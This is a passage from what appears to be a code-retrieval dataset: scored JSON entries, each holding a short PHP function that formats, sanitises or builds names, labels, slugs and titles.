.$this->LCTitleID()\n\t .')'\n\t ;\n\tif ($this->HasCode()) {\n\t $out .= ' '.$this->Code().' '.$this->Descr();\n\t}\n\treturn $out;\n }", "title": "" }, { "docid": "97ac7840abff1d5f2766f90a648d1570", "score": "0.57873213", "text": "function format_character_name($name) {\n\treturn ucwords(strtolower($name));\n}", "title": "" }, { "docid": "3e7ebab24776dbc543ddfd9a9efcdcfb", "score": "0.57378525", "text": "public function trimmedName() {\n\n return strtolower(str_replace(' ', '_', $this->name));\n }", "title": "" }, { "docid": "347c0e1411dfd639fd22e0f6eef4d818", "score": "0.57273155", "text": "public static function blockName()\n\t{\n\t\treturn '';\n\t}", "title": "" }, { "docid": "ea7f4c6c58c30393c56c2bdfc8d9d8af", "score": "0.5710635", "text": "protected function fixHandle(): string\n {\n return strtolower(str_replace(' ', '_', $this->name));\n }", "title": "" }, { "docid": "a710567adc8086305899e6677e73d8bc", "score": "0.5675701", "text": "function format_title($a){\n\t\tif(substr($a,0,1)!='!'){\n\t\t\t$a=ucwords(strtolower($a));\n\t\t} else {\n\t\t\t$a=substr($a,1);\n\t\t}\n\t\treturn $a;\n\t}", "title": "" }, { "docid": "01e065fefa1350fe26cd413030cbb2a7", "score": "0.567268", "text": "public function getFullName()\n {\n return \"{$this->name}, {$this->groupPlace}\";\n }", "title": "" }, { "docid": "b02c1b85727850b8b48228e4de9ade8b", "score": "0.5663357", "text": "function createMeaningfulNames($namafull){\n $namafull = preg_replace(\"/[^A-Za-z0-9 ]/\", '', $namafull);\n\n //capitalize first character of every word\n $namafull = ucwords(strtolower($namafull));\n\n //replace more than one space to underscore\n $namafull = preg_replace('/([\\s])\\1+/', '_', $namafull );\n\n //convert any single spaces to underscrore\n $namafull =str_replace(\" \",\"_\",$namafull);\n return $namafull;\n}", "title": "" }, { "docid": "2b7a5cb7fc90f25764fa596d12af7f73", "score": "0.5661412", "text": "protected function _formatLabel($input)\n {\n return trim(ucwords(preg_replace('/([A-Z])/', ' ${1}', $input)));\n }", "title": "" }, { "docid": "9390a2e881a4adab2a26621c9b290bd6", "score": "0.56234217", "text": "function _format_header_name( $header_name ) {\r\n $formatted = str_replace( '-', ' ', strtolower( $header_name ) );\r\n $formatted = ucwords( $formatted );\r\n $formatted = str_replace( ' ', '-', $formatted );\r\n return $formatted;\r\n }", "title": "" }, { "docid": "7b6cc34993c120e9bfb91cd7f4d49f10", "score": "0.56223935", "text": "public function getClassName()\n {\n return $this->areaClass;\n }", "title": "" }, { "docid": "23c97e050d680b9c8b1111d4ae13f01c", "score": "0.5612124", "text": "function formatName($name)\n{\n\t$name = trim($name);\n\tif($name[0] == \"'\")\n\t\treturn strtoupper($name[0].$name[1]).customToLowerCase(substr($name, 2));\n\treturn strtoupper($name[0]).customToLowerCase(substr($name, 1));\n}", "title": "" }, { "docid": "87cf1015b9dd1bb770257626267b17ef", "score": "0.5569518", "text": "public function format($data, $column = [])\n {\n return Escape::html($data['trafficArea']['name']);\n }", "title": "" }, { "docid": "66cdaceb7b1cbc9c9686fcaa4906742e", "score": "0.54844004", "text": "function wrapDisplayName($liveId)\n {\n $liveIdLength = strlen($liveId);\n if($liveIdLength < 26 || !strpos($liveId,\"@\",0))\n {\n return $liveId;\n }\n else\n {\n $atSymbolPos = strpos($liveId,\"@\",0);\n $line1 = substr($liveId,0,$atSymbolPos);\n $line2 = substr($liveId,$atSymbolPos + 1,($liveIdLength-$atSymbolPos)-1);\n } return $line1.\"@<br/>\".$line2;\n }", "title": "" }, { "docid": "ba7ad8c1a6ecf005d9a9bd5dd1482629", "score": "0.5476519", "text": "protected function generateAreasOutput() {\n \n $outputString = \"Areas = [\".PHP_EOL;\n \n foreach($this->areas as $a) {\n $summary = $this->getAreaSummary($a[\"id\"]);\n $outputString.= self::tabs().$this->generateOneAreaOutput($a, $summary).\",\".PHP_EOL;\n }\n\n $outputString = substr($outputString, 0, strlen($outputString) - 2).PHP_EOL; // remove the last comma\n $outputString.= \"];\".PHP_EOL.PHP_EOL;\n return $outputString;\n }", "title": "" }, { "docid": "cdb10419d99b17aa3eb30fdf69578acc", "score": "0.54617554", "text": "public function getTwoLetterAbbreviation();", "title": "" }, { "docid": "eea931dad08958d0a5c0ae58d7259097", "score": "0.54612476", "text": "function parse_assig_name()\n \t{\n \t\tglobal $assigid, $classid, $db;\n \t\t$toret = \"\";\n \t\t$results = $db->arrayQuery(\"select * from Assignment where assignment_id = '$assigid' and class_id = '$classid';\");\n \t\tif(empty($results))\n \t\t{\n \t\t\taddsum(\"Error: Could not retrieve assignment information to parse folder name\");\n \t\t\treturn \"\";\n \t\t}\n \t\telse\n \t\t{\n \t\t\t$assignment = $results[0];\n \t\t\t$title = $assignment['title'];\n \t\t\t$title_explode = explode(\" \", $title);\n \t\t\tfor($i = 0; $i < count($title_explode); $i++)\n \t\t\t{\n \t\t\t\t$toret = $toret . $title_explode[$i];\n \t\t\t\tif($i != count($title_explode)-1)\n \t\t\t\t\t$toret = $toret . \"_\";\n \t\t\t}\n \t\t\t\n \t\t\t$toret = $toret . \"-\";\n \t\t\t$toret = $toret . $assigid;\n \t\t\treturn $toret;\n \t\t}\n \t}", "title": "" }, { "docid": "d7f05567498da9d97e10e1563e69f89e", "score": "0.54538614", "text": "protected function _getFullname()\n {\n return\n\t\t\t'['.\n $this->_properties['id'] .\n '] ' .\n $this->_properties['name'];\n }", "title": "" }, { "docid": "7fea4ec48abb6add0f0d21467433ef54", "score": "0.5443533", "text": "static function sidebar_name_to_id($sidebar_name) {\n $clean_name = str_replace(array(' '), '-', trim($sidebar_name));\n $clean_name = str_replace(array(\"'\", '\"'), '', trim($clean_name));\n return strtolower($clean_name);\n }", "title": "" }, { "docid": "ce1b1b7c173a6682f628729d5d64279d", "score": "0.5408404", "text": "public static function formatiFotoWithAbbr(){\r\n $str = '';\r\n foreach(self::$formatiFotoconabbr as $key=>$value){\r\n $str = $str.', <abbr xml:lang=\"en\" lang=\"en\" title=\"'.$value.\"\\\">$key</abbr> \";\r\n }\r\n return $str;\r\n }", "title": "" }, { "docid": "fc66345fa7d346fafed5e35c4a410542", "score": "0.5401409", "text": "function ncurses_longname(){}", "title": "" }, { "docid": "409910e011b3c668d2bb3d8324840558", "score": "0.5399849", "text": "public function name(): string\n {\n return strip_tags(ucwords($this->name));\n }", "title": "" }, { "docid": "b34e52645d74d07264629cf6008ac7e1", "score": "0.53749776", "text": "public function obtainFullObjectName() {\n\n $fullNameArr = array();\n\n //partname\n $partname = \"\";\n $part = $this->getParent();\n if( $part ) {\n $partname = $part->obtainValidField('partname').\" \";\n }\n\n //blockname\n $blockname = $this->obtainValidField('blockname');\n if( $blockname ) {\n $fullNameArr[] = $partname . $blockname->getField().\"\";\n }\n\n //sectionsource\n $sectionsource = $this->obtainValidField('sectionsource');\n if( $sectionsource && $sectionsource != \"\" ) {\n $fullNameArr[] = $sectionsource;\n }\n\n $fullName = implode(\": \",$fullNameArr);\n\n return $fullName;\n }", "title": "" }, { "docid": "8542df2e585310d78e5e8b2026725f3a", "score": "0.5370565", "text": "protected function formatName( &$name ) {\n\n\t\treturn self::$nsName . ':' . $name ;\n\t\n\t}", "title": "" }, { "docid": "4b5a4e09e03495f157b214fdd4da0662", "score": "0.5341214", "text": "private function formatNormal()\n {\n return mb_strtoupper(str_replace([' ', '\\n', '\\t'], '', $this->license), 'utf8');\n }", "title": "" }, { "docid": "775783ae261a09611a516a443e004059", "score": "0.533957", "text": "function name() {\n // Returns the block name, as present in the class name,\n // the database, the block directory, etc etc.\n static $myname;\n if ($myname === NULL) {\n $myname = strtolower(get_class($this));\n $myname = substr($myname, strpos($myname, '_') + 1);\n }\n return $myname;\n }", "title": "" }, { "docid": "bf5a5439a957ee45c3924d3bfcf7ee04", "score": "0.53359634", "text": "public function create_field_name($name) {\r\n return HW_Validation::valid_apf_slug($this->feature_name) . \"_\". HW_Validation::valid_apf_slug($name);\r\n #return $name . \"[{$name}]\";\r\n }", "title": "" }, { "docid": "a53c5ad8e3f155c0c22d6be375604d72", "score": "0.53347886", "text": "function acronym()\n {\n $words = preg_split(\"/[\\s,_-]+/\", $this->name);\n $acronym = \"\";\n\n foreach ($words as $w) {\n $acronym .= $w[0];\n }\n return $acronym;\n }", "title": "" }, { "docid": "cad0d247b9ef4bfc2bc8c5f2a45653e4", "score": "0.53329104", "text": "static public function create_fieldname4sidebar($name, $valid_apf_field=false){\r\n $sidebar = self::get_active_sidebar();\r\n //return $name.'_'.$sidebar;\r\n $field = $sidebar.\"_\".$name;\r\n if($valid_apf_field) $field = self::valid_sidebar_name($field);\r\n return $field;\r\n }", "title": "" }, { "docid": "a5d60c2a76848ab5b7d3d800dd30ee2c", "score": "0.5329543", "text": "public function accessarea(): string\n {\n if (! is_null($this->accessarea)) {\n return $this->accessarea;\n }\n\n $accessarea = (app()->has('request.tenant') && app('request.tenant') && $this->guard() === 'member' ? 'tenant' : $this->guard()).'area';\n\n return $this->accessarea = $this->isApi ? 'apiarea' : (app()->has('accessareas') && app('accessareas')->contains('slug', $accessarea) ? $accessarea : (app()->runningInConsole() ? 'consolearea' : 'frontarea'));\n }", "title": "" }, { "docid": "a813671582e5c4873a13aad32d8acc05", "score": "0.53067356", "text": "protected function prepareTplName()\n {\n // We're separating each word of a widget class name using a dash (‘-‘).\n $inflector = new Inflector(':tplName');\n $inflector->setRules([\n ':tplName' => ['Word\\CamelCaseToDash'],\n ]);\n\n $className = $this->getWidgetTypeName();\n\n $tplName = $inflector->filter(['tplName' => $className]);\n\n return $tplName;\n }", "title": "" }, { "docid": "22d29fd2bd4eb86079ca40ef765ccb5b", "score": "0.53005326", "text": "public function get_name()\n {\n return 'hslanding-wil-out-team-section';\n }", "title": "" }, { "docid": "1fca3dc4cebdce7db68b321307889f08", "score": "0.52952826", "text": "function form_label(string $name)\n {\n return ucfirst(str_replace('-', ' ', strtolower(Str::kebab($name))));\n }", "title": "" }, { "docid": "459b0bcbeed35a43eac39a53775b4f20", "score": "0.5283093", "text": "public static function lowerDisplayName(): string;", "title": "" }, { "docid": "09d0ceb86a404b1d71a4108067f90176", "score": "0.52814835", "text": "function name(){\n if (isset($this->name) && $this->name != \"\")\n return $this->name;\n else\n return ucwords(strtolower($this->firstname.' '.$this->lastname));\n }", "title": "" }, { "docid": "67d3d5d36dccaa1e1a0075061bc543d8", "score": "0.52758354", "text": "function makeAccessName($name)\n\t{\n\t\t$accessname = strtolower($name);\n\t\tfor ($i = 0; $i < strlen($accessname); $i++)\n\t\t{\n\t\t\t$char = ord(substr($accessname, $i, 1));\n\t\t\tif (!(($char >= ord('0') && $char <= ord('9'))\n\t\t\t\t\t|| ($char >= ord('a') && $char <= ord('z'))\n\t\t\t\t\t|| $char == ord(' ') || $char == ord('_')))\n\t\t\t{\n\t\t\t\t$accessname = substr($accessname, 0, $i) . substr($accessname, $i + 1);\n\t\t\t\t$i--;\n\t\t\t}\n\t\t}\n\t\treturn str_replace(\" \", \"_\", $accessname);\n\t}", "title": "" }, { "docid": "9dce882dfcb8535f461366845dbd399e", "score": "0.52571815", "text": "public function abbreviated(): string\n {\n if ($this->lastName) {\n return sprintf(\"%s. %s\", Str::firstLetter($this->firstName), $this->lastName);\n }\n\n return $this->firstName;\n }", "title": "" }, { "docid": "7439f98d9051224818bd4dde0e81ae5b", "score": "0.52515256", "text": "public function convertToSlug()\n {\n $util = str_replace(\" \", \"-\", $this->getOrigin());\n //show lower text\n return strtolower($util);\n }", "title": "" }, { "docid": "9768308f315eeeaed1522f810c81c45d", "score": "0.5249608", "text": "function _name_convert()\n\t \t{\n\t \t\treturn preg_replace(\"/ /\",\"_\",strtolower($this->name));\n\t \t}", "title": "" }, { "docid": "d64e4635b7664780e8dee4794516158d", "score": "0.5247704", "text": "public function getNomeAmministratore() {\n return ucwords($this->_nome);\n }", "title": "" }, { "docid": "457d8e584eaba7fc0d4529721731f09a", "score": "0.52444", "text": "public function full_name()\n\t{\n\t\treturn $this->f_name.' '.$this->l_name;\n\t}", "title": "" }, { "docid": "3ebc6a258a062b785589dd4ac2cc0019", "score": "0.52237827", "text": "protected function cleanName($name)\n {\n $name = str_replace(' ', ' ', $name);\n // Replace other character with _\n $name = str_replace(['-', '/', '\\\\', '.', ' '], '_', $name);\n \n return $name;\n }", "title": "" }, { "docid": "296d99bafa0940f17e612e65c61a0ad8", "score": "0.521676", "text": "public function getThreeLetterAbbreviation();", "title": "" }, { "docid": "c1ea463a1f4097604a798f50c80370c9", "score": "0.5197302", "text": "public function getNameAdmin()\n {\n return '<div class=\"user-block\">\n\t\t\t\t\t<img class=\"img-circle\" src=\"' . $this->fresh()->getImageSquareTinyAttribute() . '\" alt=\"User Image\">\n\t\t\t\t\t<span class=\"username\"><a href=\"' . $this->fresh()->getUrlSlugAttribute() .'\" target=\"_blank\">' . $this->fresh()->name . '</a></span>\n\t\t\t\t\t<span class=\"description\">' . ($this->fresh()->release_date ? '<i class=\"fa fa-calendar\"></i> ' . $this->fresh()->release_date->format('Y') : '') . '</span>\n\t\t\t\t</div>';\n }", "title": "" }, { "docid": "040c3dd251fc03fe2e0e4a99af1e0fa5", "score": "0.5192479", "text": "function formatName($first, $last)\n {\n if (!empty($first) && !empty($last))\n {\n $formattedname = strtolower($first) . \".\" . strtolower($last);\n }\n else\n {\n $formattedname = \"\";\n }\n return $formattedname;\n }", "title": "" }, { "docid": "fd94ddb7aa7ecb7ec2694ab74e4a9f57", "score": "0.5190492", "text": "function stringConvertUscoreToSpace($getName = null) {\n $getName = strtolower(str_replace('_', ' ', $getName));\n return $getName;\n }", "title": "" }, { "docid": "506e5ee61099826d129ae74ccd859684", "score": "0.51712114", "text": "public function getFullName()\r\n {\r\n // return \"$this->name $this->lastname\"; /* Retorna nombre y apellido y un espacio entre ambos */\r\n return trim(\"$this->name $this->lastname\"); /* Para quitar los espacios en blanco */\r\n\r\n }", "title": "" }, { "docid": "81724fd06449adae00c9e3571b9024aa", "score": "0.5167857", "text": "static function formatarNomes( $name ) {\n $ignore = array( 'do', 'dos', 'da', 'das', 'de', 'e' );\n $array = explode(' ', mb_strtolower( $name ) );\n $out = '';\n foreach ($array as $ar) {\n $out .= ( in_array ( $ar, $ignore ) ? $ar : ucfirst( $ar ) ).' ';\n }\n return trim( $out );\n }", "title": "" }, { "docid": "4341af6a56d2cf76568f0303064f0f06", "score": "0.5167199", "text": "function sitename() { return \"Middlesex County 4-H\"; }", "title": "" }, { "docid": "92b8f61a5807e38230c587c1e5b7745b", "score": "0.5158772", "text": "private function name()\n {\n preg_match_all('/([a-z]{1,4})$/i', $this->name, $m);\n $this->fileExtension = $m[0][0];\n $name = substr(strtolower(base64_encode($this->name . APP_SALT)), 0, 30);\n $name = preg_replace('/(\\w{6})/i', '$1_', $name);\n $name = rtrim($name, '_');\n $this->name = $name;\n return $name;\n }", "title": "" }, { "docid": "5a975f26cdd46205b85bc02ea9d9013a", "score": "0.5154632", "text": "public function generateRegionName($model)\n {\n //$parent_region = CoreRegion::findOne($model->parent_id);\n $parent_region = $this->place_regions->firstWhere('id', $model->parent_id);\n \n $model->name = $model->title . ', ' . $parent_region->name;\n }", "title": "" }, { "docid": "5ed9a45b201dc222751a6ba83d984e0f", "score": "0.51470965", "text": "public function create_full_field_name($name) {\r\n return 'HW_Widget_Features_Setting['.$this->create_field_name($name).']';\r\n }", "title": "" }, { "docid": "3878687ec40509397e889cc85a4b19e0", "score": "0.51464003", "text": "protected function _getName()\n {\n $name[] = $this->title;\n $name[] = $this->first_name;\n $name[] = $this->middle_name;\n $name[] = $this->last_name;\n return implode(\" \", array_filter($name));\n }", "title": "" }, { "docid": "a39ada63a25feb801e67934b0b4c7591", "score": "0.51293993", "text": "public function get_name() {\n return 'Alita_elementor_feature_block';\n }", "title": "" }, { "docid": "7c99074f278e557bcaceaecd91bf01eb", "score": "0.5127643", "text": "public function print_name(){\n return '<span class=\"field_name field_type field_type_'.(!empty($this->field_type) ? $this->field_type : 'none').'\">'.$this->field_name.'</span>';\n }", "title": "" }, { "docid": "c92106180b17216dc8798cf6112db213", "score": "0.5118696", "text": "static function camelCase($name){\n $ccName = '';\n $words = explode('_', $name);\n foreach($words as $word){\n $ccName .= ucfirst(strtolower($word));\n }\n return $ccName;\n }", "title": "" }, { "docid": "9c9668e032c8f2df62e45777f8c5588d", "score": "0.5117426", "text": "static function foldId( $name ) {\n\t\treturn preg_replace( '/\\s+/', '', strtolower( $name ) );\n\t}", "title": "" }, { "docid": "f2cfd5bcbfcca32d6b5edd2a84c4f68b", "score": "0.51059574", "text": "public function automaticToolname($data)\n\t{\n\t\t$alias = $data['toolname'];\n\t\t$alias = strip_tags($alias);\n\t\t$alias = trim($alias);\n\t\tif (strlen($alias) > 64)\n\t\t{\n\t\t\t$alias = substr($alias . ' ', 0, 64);\n\t\t\t$alias = substr($alias, 0, strrpos($alias, ' '));\n\t\t}\n\t\t$alias = str_replace(' ', '_', $alias);\n\n\t\treturn preg_replace(\"/[^a-zA-Z0-9_]/\", '', strtolower($alias));\n\t}", "title": "" }, { "docid": "ad68255260b568e7e84281a53aac9a51", "score": "0.51029104", "text": "public function getCognomeAmministratore() {\n return ucwords($this->_cognome);\n }", "title": "" }, { "docid": "7f6dcc9777196325cea963fd6e3098d6", "score": "0.50984955", "text": "private function createUserName () {\r\n\t\t// Replace the spaces by -\r\n\t\t$firstname = preg_replace (\"/[ ]+/i\", \"-\", $this->firstname);\r\n\t\t$lastname = preg_replace (\"/[ ]+/i\", \"-\", $this->lastname);\r\n\r\n\t\t// replace the the ' by -\r\n\t\t$firstname = preg_replace (\"/[\\']+/i\", \"-\", $firstname);\r\n\t\t$lastname = preg_replace (\"/[\\']+/i\", \"-\", $lastname);\r\n\r\n\t\t// Concat the 2\r\n\t\t$username = strtolower ($firstname.\".\".$lastname);\r\n\t\t\r\n\t\t// Cut it if too long\r\n\t\tif (strlen ($username) > $this->conf->getv ('MAX_USERNAME_LENGTH', 20))\r\n\t\t\t$username = substr ($username, 0, $this->conf->getv ('MAX_USERNAME_LENGTH', 20));\r\n\t\t\r\n\t\treturn $username;\r\n\t}", "title": "" }, { "docid": "fcf34407b63b53bb5dc9a3425ce3b294", "score": "0.5097511", "text": "protected function getWidgetFileName()\n {\n return studly_case($this->type)\n .studly_case($this->author)\n .studly_case($this->name);\n }", "title": "" }, { "docid": "1be03795058795d23e3adba871b4c41c", "score": "0.50746566", "text": "private function fullStateName( $stateCode ) {\n $regionModel = Mage::getModel('directory/region')->loadByCode( $stateCode, 'US' );\n return $regionModel->getDefaultName();\n }", "title": "" }, { "docid": "81b641a9a44c0d3032547efe5132b391", "score": "0.50725013", "text": "public static function field2title($value = null) { \n return str_replace('_', ' ', ucwords($value, '_'));\n }", "title": "" }, { "docid": "872621f803b29ed2e75050f97e22302b", "score": "0.5069795", "text": "public function getName()\r\n {\r\n $global_app_name = \\Base::instance()->get('APP_NAME');\r\n $identity = $this->getIdentity();\r\n \r\n $name = \"\";\r\n if (!empty($identity->first_name)) {\r\n $name .= $identity->first_name . \" \"; \r\n }\r\n if (!empty($identity->last_name)) {\r\n $name .= $identity->last_name . \" \";\r\n } \r\n \r\n return trim($name);\r\n }", "title": "" }, { "docid": "8c6c8deaa8804a3c3012eea5c36d1747", "score": "0.50670856", "text": "public function getName()\n {\n $name = $this->getFirstName() . ' ';\n if ($this->getNickName() !== null && $this->getNickName() !== '') {\n $name .= $this->getNickName() . ' ';\n }\n $name .= $this->getLastName();\n return $name;\n }", "title": "" }, { "docid": "8c6c8deaa8804a3c3012eea5c36d1747", "score": "0.50670856", "text": "public function getName()\n {\n $name = $this->getFirstName() . ' ';\n if ($this->getNickName() !== null && $this->getNickName() !== '') {\n $name .= $this->getNickName() . ' ';\n }\n $name .= $this->getLastName();\n return $name;\n }", "title": "" }, { "docid": "f42571b4ef5934984770226f010135dc", "score": "0.50629246", "text": "function prepareName($name){\n\t\t\t\t// to lowercase\n\t\t\t\t$name = mb_strtolower( $name, 'UTF-8' );\n\t\t\t\t// delete unwanted characters\n\t\t\t\t$notAllowedCharacters = array(' ', '_' ,'ą', 'ć', 'ę', 'ó', 'ł', 'ń', 'ż', 'ź', 'ś',\n\t\t\t\t '?', '!', '.', ',', ':', ';', '!', '@', '#', '$', '%', '^', '*', '(', ')', '+','=', '<', '>', '~', '`', '/', '\\\\', '{', '}', '[', ']', '\\'', '\\'', '|', '\"'); \n\t\t\t\t$substitutes = array('-', '-', 'a', 'c', 'e', 'o', 'l', 'n', 'z', 'z', 's',\n\t\t\t\t '');\t\n\t\t\t\t$name = str_replace( $notAllowedCharacters, $substitutes, $name ); \t\n\t\t\t\t// Delete more '-' than 1\n\t\t\t\t$name = preg_replace('/-{2,}/', '-', $name);\t\t\t\n\t\t\t\t// Trim '-'\n\t\t\t\t$name = trim($name, '-');\t\n\t\t\t\treturn $name;\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t}", "title": "" }, { "docid": "f42571b4ef5934984770226f010135dc", "score": "0.50629246", "text": "function prepareName($name){\n\t\t\t\t// to lowercase\n\t\t\t\t$name = mb_strtolower( $name, 'UTF-8' );\n\t\t\t\t// delete unwanted characters\n\t\t\t\t$notAllowedCharacters = array(' ', '_' ,'ą', 'ć', 'ę', 'ó', 'ł', 'ń', 'ż', 'ź', 'ś',\n\t\t\t\t '?', '!', '.', ',', ':', ';', '!', '@', '#', '$', '%', '^', '*', '(', ')', '+','=', '<', '>', '~', '`', '/', '\\\\', '{', '}', '[', ']', '\\'', '\\'', '|', '\"'); \n\t\t\t\t$substitutes = array('-', '-', 'a', 'c', 'e', 'o', 'l', 'n', 'z', 'z', 's',\n\t\t\t\t '');\t\n\t\t\t\t$name = str_replace( $notAllowedCharacters, $substitutes, $name ); \t\n\t\t\t\t// Delete more '-' than 1\n\t\t\t\t$name = preg_replace('/-{2,}/', '-', $name);\t\t\t\n\t\t\t\t// Trim '-'\n\t\t\t\t$name = trim($name, '-');\t\n\t\t\t\treturn $name;\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t}", "title": "" }, { "docid": "3c51b9ef1cd49e544c87ef8f9241ad30", "score": "0.505431", "text": "public function getAreasIDName() {\n $sql = \"select id, name from re_area;\";\n $data = $this->runRequest($sql);\n return $data->fetchAll();\n }", "title": "" }, { "docid": "0f7178b472aa3fbceb45f9dec5ca1a93", "score": "0.50528705", "text": "public function show() : string\n {\n return chunk_split(strtoupper(array_reduce($this->nodes->pluck('letter'), function ($carry, $letter) {\n return $carry .= ' ' . $letter;\n }, '')), static::SIZE * 2);\n }", "title": "" }, { "docid": "edd4b1fe92510db3cdce916c04565341", "score": "0.50522673", "text": "private function formatClubName($clubName)\n {\n $clubNameParts = explode(\" \", $clubName);\n $parsedClubName = array();\n for ($i = 0; $i < count($clubNameParts); $i++) {\n if ($i !== 0) {\n $part = strtolower($clubNameParts[$i]);\n array_push($parsedClubName, ucwords($part));\n }\n }\n $fo = $clubNameParts[0];\n if (strlen($fo) < 4) {\n $fo = strtoupper($fo);\n } else {\n $fo = strtolower($fo);\n $fo = ucwords($fo);\n }\n\n array_unshift($parsedClubName, $fo);\n return implode(\" \", $parsedClubName);\n }", "title": "" }, { "docid": "fa739aee240e8556c3717b4640c4828c", "score": "0.504712", "text": "public function getFullNameAttribute()\n {\n return ucwords($this->name);\n }", "title": "" }, { "docid": "24786781cfa0544a2c3a2086b9d23558", "score": "0.5041085", "text": "protected function viewName() : string\n {\n return Str::kebab(class_basename($this));\n }", "title": "" }, { "docid": "e617a27c70f0b85c0119f505c62d0009", "score": "0.50376046", "text": "function escapeName($val)\n{\n return preg_replace(\"/[><. ]/\", \"_\", $val);\n}", "title": "" }, { "docid": "87bd30042c23bd3fbc6a448d5344d03f", "score": "0.5037491", "text": "function formatUf($var){\r\n\t\t\treturn(addslashes(htmlspecialchars(trim(strtoupper(trim(strval($var)))))));\r\n\t\t}", "title": "" }, { "docid": "744fff9fa1c6a8124673025bdc3f7463", "score": "0.5037099", "text": "protected static function _normalizeName($name)\n {\n $name = ucfirst(strtolower($name));\n $name = str_replace(array('-', '_', '.'), ' ', $name);\n $name = ucwords($name);\n $name = str_replace(' ', '', $name);\n return $name;\n }", "title": "" }, { "docid": "5369286c380d717e4e93e7ccc522e0a6", "score": "0.50364655", "text": "function name( )\r\n {\r\n return htmlspecialchars( $this->Name );\r\n }", "title": "" }, { "docid": "64acb61c5a54d778f90981a36b8afa6f", "score": "0.5035844", "text": "protected function generateOneAreaOutput($area, $summary) {\n \n $outputString = '{ id : '.$area['id'].', ';\n $outputString.= 'data_translation : { en : { name : \"'.$area['name'].'\" }, fr : { name : \"'.$area['name'].'\" } }, rangeLvl : \"'.$area['rangeLvl'].'\",'.PHP_EOL;\n \n $outputString.= self::tabs(2).'summary : {'.PHP_EOL;\n foreach($summary as $markerType => $value) {\n $outputString.= self::tabs(3).'\"'.$markerType.'\" : '.$value.','.PHP_EOL;\n }\n \n if(!empty($summary)) {\n $outputString = substr($outputString, 0, strlen($outputString) - 2); // remove the last comma\n }\n \n $outputString.= PHP_EOL.\"\\t\\t},\".PHP_EOL;\n $outputString.= self::tabs(2).'neLat : '.$area['neLat'].', neLng : '.$area['neLng'].', ';\n $outputString.= 'swLat : '.$area['swLat'].', swLng : '.$area['swLng'].''.PHP_EOL;\n $outputString.= self::tabs().'}';\n \n return $outputString;\n }", "title": "" }, { "docid": "3a74b7658c2a675b05c8a0f610be64c4", "score": "0.50326174", "text": "function sanitizeColName($name) {\n\t\t\t$name = str_replace(\"_\", \" \", $name);\n\t\t\t$name = ucwords($name);\n\t\t\t$name = str_replace(\"Dt\", \"Date\", $name);\n\t\t\t$name = str_replace(\" Key\", \" #\", $name);\n\t\t\t$name = str_replace(\"Url\", \"Web URL\", $name);\n\t\t\treturn $name;\n\t\t}", "title": "" }, { "docid": "367145b6e0088df2f6862e41ce2466e7", "score": "0.50302243", "text": "private function getLabel($name) {\n $name = str_split($name); $label = [];\n foreach($name as $nameCharacter) {\n if(ctype_upper($nameCharacter)) {\n array_push($label, ' ');\n }\n array_push($label, $nameCharacter);\n }\n $label = join('', $label);\n $label = ucwords($label);\n return $label;\n }", "title": "" }, { "docid": "168cca118c3db42c6a6b3084cb64c3bc", "score": "0.5018281", "text": "public static function streetName()\n {\n $format = static::$streetNameFormats[array_rand(static::$streetNameFormats)];\n\n $parts = array();\n foreach ($format['parts'] as $function) {\n $parts[] = call_user_func($function);\n }\n\n return vsprintf($format['format'], $parts);\n }", "title": "" }, { "docid": "ca5304bfe11e1c870e57d24abadb323d", "score": "0.5016504", "text": "public function getPrintableName() : string\n {\n $characteristic = $this->getCharacteristic();\n\n if ($characteristic === Option::LONG)\n {\n $prefix = '--';\n }\n elseif ($characteristic === Option::SHORT)\n {\n $prefix = '-';\n }\n\n return $prefix.$this->name;\n }", "title": "" }, { "docid": "3b27d847b2cbbe92323524f4ac116475", "score": "0.50132316", "text": "public function formatAgentName($data) {\r\r $res='';\r\r if(!empty($data->user_id)){\r\r if($data->user){\r\r $link = Yii::app()->createAbsoluteUrl(\"admin/usersAgent/view\",array(\"id\"=>$data->user_id));\r\r $cmsFormater = new CmsFormatter();\r\r $name = $cmsFormater->formatFullNameRegisteredUsers($data->user);\r\r// $name = $data->user->first_name.' '.$data->user->last_name;\r\r $res .=\"<a class='' target='_blank' href='$link'>$name</a>\";\r\r //update full_name_for_search at Users\r\r $data->user->full_name_for_search = $name;\r\r $data->user->update(array('full_name_for_search'));\r\r }\r\r }\r\r return $res;\r\r }", "title": "" }, { "docid": "35c1937a645b18207e4d4ee57b53b29a", "score": "0.5012443", "text": "public function get_name() {\n return 'electro_home_categories_block';\n }", "title": "" }, { "docid": "64c77d4fa4a8352f3458d152eed74661", "score": "0.5010194", "text": "private function formatpostcode($postcode) {\n\t\t$i= strlen($postcode);\n\t\t$formatedpostcode = sprintf('%s %s',substr($postcode, 0, $i-3), substr($postcode, $i-3, 3));\n\t\treturn $formatedpostcode;\n\t}", "title": "" }, { "docid": "aaa1a766b9498a73b100d1e2e95dc450", "score": "0.5001847", "text": "function collapseInternalSpaces($subject){\n $string = preg_replace('/\\s+/', ' ', $subject);\n return $string;\n }", "title": "" }, { "docid": "e1c951f32322d61b0b72e132bbb1c2b5", "score": "0.50011414", "text": "function name()\r\n {\r\n return htmlspecialchars( $this->Name );\r\n }", "title": "" }, { "docid": "31ccd9300a6eb8530e1187cd599a1bad", "score": "0.4995688", "text": "function placeholder_cadena($cadena){\n\t\t$cadena = str_replace(\"_\", \" \", $cadena);\n\t\t/*Convierte la primer letra en mayuscula*/\n\t\t$cadena = ucwords($cadena);\n\t\treturn $cadena;\n\t}", "title": "" }, { "docid": "7fe673f487be02a2478ceca361446d11", "score": "0.4995061", "text": "public function adminName()\n {\n if ($this->isNonexistent()) {\n if (CommonModule::isUnderDev()) return 'Try to output name of nonexistent category';\n\n return '';\n }\n\n $nameFormFieldId = $this->getEssence()->represent_form_name_field;\n\n if (!$nameFormFieldId) {\n\n if (CommonModule::isUnderDev())\n return 'ID = ' . $this->id . ' (DEV: represent has no selected name forming field)';\n\n return 'ID = ' . $this->id;\n }\n\n if (is_null($fieldTemplate = FieldTemplate::getInstanceById($nameFormFieldId))) {\n Yii::warning(\n \"Can`t fetch for FieldTemplate with ID = \" . $nameFormFieldId, __METHOD__);\n\n if (defined('YICMS_STRICT')) {\n throw new EssencesException(\n \"YICMS_STRICT_MODE:\n Can`t fetch for FieldTemplate with ID = \" . $nameFormFieldId);\n }\n\n if (CommonModule::isUnderDev())\n return 'ID = ' . $this->id . ' (DEV: Can`t fetch for FieldTemplate with ID = )' . $nameFormFieldId;\n\n return 'ID = ' . $this->id;\n }\n\n $nameFormingField = 